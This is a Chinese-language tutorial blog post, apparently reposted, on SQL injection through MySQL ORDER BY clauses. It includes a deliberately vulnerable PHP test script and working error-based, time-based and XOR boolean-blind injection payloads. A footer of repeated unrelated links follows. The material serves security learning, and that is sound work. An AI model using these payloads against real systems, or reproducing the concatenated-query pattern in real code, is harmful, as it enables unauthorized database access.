玩得一手好注入之order by排序篇

Posted 有梦就能实现

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了玩得一手好注入之order by排序篇相关的知识,希望对你有一定的参考价值。

看了之前Gr36_前辈在先知上的议题,其中有提到排序注入,这个在最近经常遇到这样的问题,所以先总结下order by 排序注入的知识。                            

0×00 背景

看了之前Gr36_前辈在先知上的议题,其中有提到排序注入,这个在最近经常遇到这样的问题,所以先总结下order by 排序注入的知识。 

 

0×01 环境信息

测试环境:操作系统ubuntu0.14.04.1 mysql:5.5.55-0

测试代码:

<?php

$mysql_server=”10.10.10.136″;

$mysql_username=”root”;

$mysql_userpass=”xxxxx”;

$mysql_select_db=”test”;

$config=mysql_connect($mysql_server,$mysql_username,$mysql_userpass)or die (mysql_error());

$db=mysql_select_db($mysql_select_db)or die (mysql_error());

if( isset( $_REQUEST[ ‘evil‘ ]) ) {

$evil = $_REQUEST[ ‘evil‘ ];

$query  = “select * from test order by user_id $evil;”;

//$query  = “(select * from test order by user_id $evil);”;

$result = mysql_query( $query,$config) or die( $query.’<pre>’ . mysql_error() . ‘</pre>’);

 

$num = mysql_numrows( $result );

$i   = 0;

while( $i < $num ) {

$user_id = mysql_result( $result, $i, “user_id” );

$user = mysql_result( $result, $i, “user” );

$password  = mysql_result( $result, $i, “password” );

$html .= “<pre>user_id: {$user_id} user: {$user} password: {$password}</pre>”;

$i++;

}

mysql_close();

echo $query;

echo $html;

}

?>

0×02 注入方法介绍

正常页面:

技术分享图片

1.order by 与 报错注入:

当页面会展示出MYSQL的错误信息时,可以使用报错注入。

?evil=and(updatexml(1,concat(0x7e,(select user())),0))

技术分享图片

2.order by 与 盲注:

当页面并没有展示MYSQL的错误信息时,且只能根据页面的回显数据的状态进行判断时,可使用布尔盲注。

《当然雨师傅也提到了可以使用时间盲注 select * from test order by user_id,(select 1 from (select sleep(3))a)》

 

这里使用位运算符的^(位异或),当然MySQL还有|(位或),&(位与),~(位取反),>>(位右移),<<(位左移)操作符号,位符号感觉有很多妙用目前还没想好:-)。

^(位异或会将前后的数字转换成2进制然后进行异或。

 

因为正则进行匹配时,匹配到数据返回1(00000001)的时候,此时返回的1会和user_id中的数据的二进制进行异或,然后按照异或的结果升序排列,所以显示的排列会发生变化。

当正则进行匹配时,未匹配到数据返回0(00000000)的时候,任意数字和0异或的结果还是本身,所以user_id中的数据和0进行异或后排序是不变的。

因此,当页面排序紊乱时候则说明正则匹配到正确数据,页面排序未发生紊乱时则说明正则没有匹配到数据。

通过排列顺序的变化来判断返回的结果是否正确,这里的MYSQL版本是:5.5.55-0, 所以使用如下语句可以匹配到数据,因此排序发生变化了,这里’^5′也可以转换成^5的16进制,这样语句中就没了引号。

?evil=^(select (select version()) regexp ‘^5′), 正则返回结果为1,然后与user_id后面的值进行异或,得到如下结果。

  排序前                        排序后                
  user_id    user_id的二进制    正则(1)二进制    user_id^1         user_id    user_id的二进制    正则(1)二进制    user_id^1 
    00000001    00000001    00000000           00000001    00000001    00000000 
    00000010    00000001    00000011           00000011    00000001    00000010 
    00000011    00000001    00000010           00000010    00000001    00000011 
    00000100    00000001    00000101           00000101    00000001    00000100 
    00000101    00000001    00000100           00000100    00000001    00000101 
    00000110    00000001    00000111           00000111    00000001    00000110 
    00000111    00000001    00000110           00000110    00000001    00000111 
 

因为order by 默认是升序排列的,所以页面显示的是如下的效果:

技术分享图片

?evil=^(select (select version()) regexp ‘^aaaaaa’) 未能匹配到数据,因此返回0。

当正则未匹配到数据时候返回的结果是0, 0和任意数字异或的结果都是数字本身,所以排序是不变的。

  user_id    user_id的二进制    正则(0)二进制    user_id^0 
    00000001    00000000    00000001 
    00000010    00000000    00000010 
    00000011    00000000    00000011 
    00000100    00000000    00000100 
    00000101    00000000    00000101 
    00000110    00000000    00000110 
    00000111    00000000    00000111 
 

技术分享图片

3.order by 与union 查询:

当$query  = “select * from test order by user_id $evil;”;没有使用括号包裹的时候,是无法直接使用union查询的。

 

当 $query  = “(select * from test order by user_id $evil);”;使用括号进行包裹的时候,此时是可以进行union查询的。

这个在MySQL的官方文档上也有进行说明<来自 MySQL 5.5参考手册>,文档中说道并把ORDER BY或LIMIT放到最后一个的后面,

经过测试MYSQL:5.5.55-0放在前面也是可以执行的。当然这种情况不大常见。

技术分享图片

技术分享图片

0×03 小小的总结

由于采用预编译执行SQL语句时传入的参数不能作为SQL语句,所以像order by xxx desc这里的排序规则还是只能用拼接,

因此order by后的注入或许能够成为后续漏洞挖掘重点关注的SQL注入点。

以上是关于玩得一手好注入之order by排序篇的主要内容,如果未能解决你的问题,请参考以下文章

JavaScript Python JavaGo算法系列之快速排序篇

JavaScript Python JavaGo算法系列之快速排序篇

JavaScript Python JavaGo算法系列之快速排序篇

JavaScript Python JavaGo算法系列之快速排序篇

JavaScript ,Python,Go,java,C#系列算法之插入排序篇

JavaScript算法 ,Python算法,Go算法,java算法,系列之归并排序篇